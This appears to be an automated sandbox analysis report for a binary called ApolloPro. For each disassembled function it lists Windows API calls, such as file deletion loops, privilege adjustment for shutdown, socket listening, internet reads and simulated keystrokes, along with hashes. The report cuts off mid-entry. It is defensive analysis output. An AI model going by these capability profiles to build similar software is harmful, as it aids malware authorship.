                                                                    • API String ID: 2185952417-438819550
                                                                    • Opcode ID: 227ac069e402fe29fb4f63e7059cb07e711d47ffd388ff2e2bcc3c1ff0e25b16
                                                                    • Instruction ID: d7753e1ddd438e5354aee1097ce0dbe24120ef03f63cdf7a54dac8b8d5657f16
                                                                    • Opcode Fuzzy Hash: 227ac069e402fe29fb4f63e7059cb07e711d47ffd388ff2e2bcc3c1ff0e25b16
                                                                    • Instruction Fuzzy Hash: 6E4170B190421A9FCF14DF64CC59AEEBBB8FF05350F54416AE915E2292EB349A84CF50
                                                                    Function 00814005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007D0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007C2A58,?,00008000), ref: 007D02A4
                                                                      • Part of subcall function 00814FEC: GetFileAttributesW.KERNEL32(?,00813BFE), ref: 00814FED
                                                                    • FindFirstFileW.KERNEL32(?,?), ref: 0081407C
                                                                    • DeleteFileW.KERNEL32(?,?,?,?), ref: 008140CC
                                                                    • FindNextFileW.KERNEL32(00000000,00000010), ref: 008140DD
                                                                    • FindClose.KERNEL32(00000000), ref: 008140F4
                                                                    • FindClose.KERNEL32(00000000), ref: 008140FD
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                                                    • String ID: \*.*
                                                                    • API String ID: 2649000838-1173974218
                                                                    • Opcode ID: 182eef9a77125b90416e7e49f50c524afb4986d6656701667c9845a183fd0180
                                                                    • Instruction ID: f3cf2c206b40610521b62eab4c15a63a0afa2aaf47298974237f0cd25378686a
                                                                    • Opcode Fuzzy Hash: 182eef9a77125b90416e7e49f50c524afb4986d6656701667c9845a183fd0180
                                                                    • Instruction Fuzzy Hash: 56316F35008385DBC211EB60C899DAFB7ACBE96304F441A2DF5E1C2192EB359909CB62
                                                                    Function 00815778 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00809399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 008093E3
                                                                      • Part of subcall function 00809399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00809410
                                                                      • Part of subcall function 00809399: GetLastError.KERNEL32 ref: 0080941D
                                                                    • ExitWindowsEx.USER32(?,00000000), ref: 008157B4
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                                    • String ID: $@$SeShutdownPrivilege
                                                                    • API String ID: 2234035333-194228
                                                                    • Opcode ID: 62b1718ea0399274306dc0fa9236066eb8bb9beb6cb8b22e655275dd5598eefd
                                                                    • Instruction ID: f89ec6d2c02ee928862f50dc27ce659e8fbee593dd05259023957eaa71790958
                                                                    • Opcode Fuzzy Hash: 62b1718ea0399274306dc0fa9236066eb8bb9beb6cb8b22e655275dd5598eefd
                                                                    • Instruction Fuzzy Hash: 5101F231750716EBE72862A8DC8BFFB765CFF85744F240929F963E21D2EA605C808560
                                                                    Function 0082696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 008269C7
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 008269D6
                                                                    • bind.WSOCK32(00000000,?,00000010), ref: 008269F2
                                                                    • listen.WSOCK32(00000000,00000005), ref: 00826A01
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 00826A1B
                                                                    • closesocket.WSOCK32(00000000,00000000), ref: 00826A2F
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLast$bindclosesocketlistensocket
                                                                    • String ID:
                                                                    • API String ID: 1279440585-0
                                                                    • Opcode ID: 20dae7a4b3134ad51a4f65723ac63a7dd1bf3e859fe6a2d01f8770adfe32d278
                                                                    • Instruction ID: b75cdd37e7c663f7a4895a5e6903435de25ba0813335bae01c0a39f8d954a7a6
                                                                    • Opcode Fuzzy Hash: 20dae7a4b3134ad51a4f65723ac63a7dd1bf3e859fe6a2d01f8770adfe32d278
                                                                    • Instruction Fuzzy Hash: A921EE34600224AFCB10EF68DC89B6EB7A9FF45720F108558EA16E73D2DB30AC50CB91
                                                                    Function 007B1663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29E2: GetWindowLongW.USER32(?,000000EB), ref: 007B29F3
                                                                    • DefDlgProcW.USER32(?,?,?,?,?), ref: 007B1DD6
                                                                    • GetSysColor.USER32(0000000F), ref: 007B1E2A
                                                                    • SetBkColor.GDI32(?,00000000), ref: 007B1E3D
                                                                      • Part of subcall function 007B166C: DefDlgProcW.USER32(?,00000020,?), ref: 007B16B4
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ColorProc$LongWindow
                                                                    • String ID:
                                                                    • API String ID: 3744519093-0
                                                                    • Opcode ID: 618ff2f3f13d17820f944e399f97a297add136c6b339546e410612f17270e852
                                                                    • Instruction ID: 88450f28c049c6e0cc26c562d138655dfbe820e5f54cad0fafbd47d1fae2acf7
                                                                    • Opcode Fuzzy Hash: 618ff2f3f13d17820f944e399f97a297add136c6b339546e410612f17270e852
                                                                    • Instruction Fuzzy Hash: 48A16A7530A544BAEA2CAB6E8C69FFF395DEB85301FE44119F402D5196CB2CDD01C2B6
                                                                    Function 0081C2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindFirstFileW.KERNEL32(?,?), ref: 0081C329
                                                                    • _wcscmp.LIBCMT ref: 0081C359
                                                                    • _wcscmp.LIBCMT ref: 0081C36E
                                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 0081C37F
                                                                    • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0081C3AF
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Find$File_wcscmp$CloseFirstNext
                                                                    • String ID:
                                                                    • API String ID: 2387731787-0
                                                                    • Opcode ID: bd2fe9392b25bcdde1d32eee8ea87f4d94c939132ffb12cb9c3df1192798e822
                                                                    • Instruction ID: ac05c5a73d67cf46c543ff14f786d0292b57eb1acc99be2319904ae636678bcd
                                                                    • Opcode Fuzzy Hash: bd2fe9392b25bcdde1d32eee8ea87f4d94c939132ffb12cb9c3df1192798e822
                                                                    • Instruction Fuzzy Hash: 9151AC756046028FC714DF68C494EAAB7E8FF49324F10461DE966C73A2DB34AD40CB91
                                                                    Function 00826E32 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00828475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 008284A0
                                                                    • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00826E89
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 00826EB2
                                                                    • bind.WSOCK32(00000000,?,00000010), ref: 00826EEB
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 00826EF8
                                                                    • closesocket.WSOCK32(00000000,00000000), ref: 00826F0C
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLast$bindclosesocketinet_addrsocket
                                                                    • String ID:
                                                                    • API String ID: 99427753-0
                                                                    • Opcode ID: b735df3694ecc585a41a48a7564850ff1b32878348380897ab177454a9475427
                                                                    • Instruction ID: 73ef6f45965a441050005a563aa2e6be8c053222e7b5819054c501d7ceef6b56
                                                                    • Opcode Fuzzy Hash: b735df3694ecc585a41a48a7564850ff1b32878348380897ab177454a9475427
                                                                    • Instruction Fuzzy Hash: 2041E275700214AFDB10AF68DC8AFBE77A8EF04714F048458FA45AB3D3DA749D008BA1
                                                                    Function 008359B3 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                    • String ID:
                                                                    • API String ID: 292994002-0
                                                                    • Opcode ID: dfe4d0f1b9fe9dd579eb8b7ba0479f1728986128f7abdfee1c46dc1f9f245173
                                                                    • Instruction ID: 3c09f73977224ad97789cf70ad7bb1815a429938b4910a2eba6d8e782e639e53
                                                                    • Opcode Fuzzy Hash: dfe4d0f1b9fe9dd579eb8b7ba0479f1728986128f7abdfee1c46dc1f9f245173
                                                                    • Instruction Fuzzy Hash: A7110136300A219FEB211F269C84B6FBBA9FF85720F014529F946D7242CB74E901CAE0
                                                                    Function 007F0030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: LocalTime__swprintf
                                                                    • String ID: %.3d$WIN_XPe
                                                                    • API String ID: 2070861257-2409531811
                                                                    • Opcode ID: f9e4945e3c9d5208ddbf4e7e09718a663fd0890d4f20d00f6174f1b28b368b1d
                                                                    • Instruction ID: 369b59516bfff80e0aafb4731c6c69d8b5ea96f1807768be6d1b96a6553eca9f
                                                                    • Opcode Fuzzy Hash: f9e4945e3c9d5208ddbf4e7e09718a663fd0890d4f20d00f6174f1b28b368b1d
                                                                    • Instruction Fuzzy Hash: 45D0127280411CEAC7199A90C944EFA737CFB04304F100052F746E2341DA3D8798EA62
                                                                    Function 008229BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00821ED6,00000000), ref: 00822AAD
                                                                    • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00822AE4
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Internet$AvailableDataFileQueryRead
                                                                    • String ID:
                                                                    • API String ID: 599397726-0
                                                                    • Opcode ID: 81ddd78df00b25dfaeab56024ef7d4783053b08205fd3efe09e3c12d2fe71c2f
                                                                    • Instruction ID: 48cf8adf2b7dc05036b5d6c92960d86df5d592353bbb56a8afae31a06458437a
                                                                    • Opcode Fuzzy Hash: 81ddd78df00b25dfaeab56024ef7d4783053b08205fd3efe09e3c12d2fe71c2f
                                                                    • Instruction Fuzzy Hash: A741C471604229FFEB20DE54EC85EBBB7BCFB40764F10405AF605E6641DA719EC19A60
                                                                    Function 00809399 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007D0FE6: std::exception::exception.LIBCMT ref: 007D101C
                                                                      • Part of subcall function 007D0FE6: __CxxThrowException@8.LIBCMT ref: 007D1031
                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 008093E3
                                                                    • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00809410
                                                                    • GetLastError.KERNEL32 ref: 0080941D
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                                    • String ID:
                                                                    • API String ID: 1922334811-0
                                                                    • Opcode ID: 56d968744a438fedb4cbc18046b4d167949dc91576fb76de96a598c9acaf5359
                                                                    • Instruction ID: 13a824ee761e94144fdf92f3977a971e31a597a536efd6829ec90fffc0e444b6
                                                                    • Opcode Fuzzy Hash: 56d968744a438fedb4cbc18046b4d167949dc91576fb76de96a598c9acaf5359
                                                                    • Instruction Fuzzy Hash: 15118FB1414209AFD728DF54EC89D2BB7BCFB44710B20852EF49992381EB70AC41CB60
                                                                    Function 008142D5 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 008142FF
                                                                    • DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 0081433C
                                                                    • CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00814345
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CloseControlCreateDeviceFileHandle
                                                                    • String ID:
                                                                    • API String ID: 33631002-0
                                                                    • Opcode ID: 8682230d83733071eda712700b933817395f89cbc9b9acf451514e7d51f840e8
                                                                    • Instruction ID: c7b4b88c8a161fca01242ea1beb605f7c5600c2befc9da5e79a9de2013d16c4c
                                                                    • Opcode Fuzzy Hash: 8682230d83733071eda712700b933817395f89cbc9b9acf451514e7d51f840e8
                                                                    • Instruction Fuzzy Hash: 151156B1901229BEE7109BE89C48FEFB7BCFB09710F140556BA15E7290D2745D4487A5
                                                                    Function 00814F1C Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00814F45
                                                                    • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00814F5C
                                                                    • FreeSid.ADVAPI32(?), ref: 00814F6C
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                    • String ID:
                                                                    • API String ID: 3429775523-0
                                                                    • Opcode ID: 9230de7248b2f63f2e584732523612371ca5511baf00ae69db359aebc21b2e5a
                                                                    • Instruction ID: 2555425e413d74f9c8584392064c0ff580725fb914946066799376646cb46790
                                                                    • Opcode Fuzzy Hash: 9230de7248b2f63f2e584732523612371ca5511baf00ae69db359aebc21b2e5a
                                                                    • Instruction Fuzzy Hash: 01F04F7591130CBFDF00DFE0DC89AAEB7BCFF08201F104469AA01E2180D7345A44CB50
                                                                    Function 00811AC6 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00811B01
                                                                    • keybd_event.USER32(?,75A4C0D0,?,00000000), ref: 00811B14
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: InputSendkeybd_event
                                                                    • String ID:
                                                                    • API String ID: 3536248340-0
                                                                    • Opcode ID: 17b164dd145dc30ba3f9112c34b5b063b89681a611c7b92ef190a6bc656dc103
                                                                    • Instruction ID: de10d04ed71a091bc526e6e32d3c97e38e1d96704e26644729c981ef03e5ea05
                                                                    • Opcode Fuzzy Hash: 17b164dd145dc30ba3f9112c34b5b063b89681a611c7b92ef190a6bc656dc103
                                                                    • Instruction Fuzzy Hash: D2F0377590420DABDB00CF94C806BFEBBB8FF04316F00804AFA55A6292D3799615DF94
                                                                    Function 0081A6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00829B52,?,0084098C,?), ref: 0081A6DA
                                                                    • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00829B52,?,0084098C,?), ref: 0081A6EC
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorFormatLastMessage
                                                                    • String ID:
                                                                    • API String ID: 3479602957-0
                                                                    • Opcode ID: ba4b6bc68eaf0f5a6954cc66f210cfd21db38d0ba98d5f9183cb69caeec5848e
                                                                    • Instruction ID: 7c79154be68e1b62d83f02dd856b35d5bd23aebdad72324bb40d880e0873d8a3
                                                                    • Opcode Fuzzy Hash: ba4b6bc68eaf0f5a6954cc66f210cfd21db38d0ba98d5f9183cb69caeec5848e
                                                                    • Instruction Fuzzy Hash: 88F0823551522DBBDB21AFA4CC49FEA776CFF09761F00825AB908D6191DA709940CFA1
                                                                    Function 00808DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00808F27), ref: 00808DFE
                                                                    • CloseHandle.KERNEL32(?,?,00808F27), ref: 00808E10
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AdjustCloseHandlePrivilegesToken
                                                                    • String ID:
                                                                    • API String ID: 81990902-0
                                                                    • Opcode ID: 482e0fefaa320ad65e89c3423f79eb2a40ac9e2c1a24f45f40cb626e1a96e543
                                                                    • Instruction ID: 18af9d78e1f1e743e2419511aa2f599c0fd45d6575f2b132719813c3cb45012b
                                                                    • Opcode Fuzzy Hash: 482e0fefaa320ad65e89c3423f79eb2a40ac9e2c1a24f45f40cb626e1a96e543
                                                                    • Instruction Fuzzy Hash: B3E0B676010610EFE7662B61FC19E77BBADFB04310B14892AF99A805B0DB72ACD0DB50
                                                                    Function 007DA385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
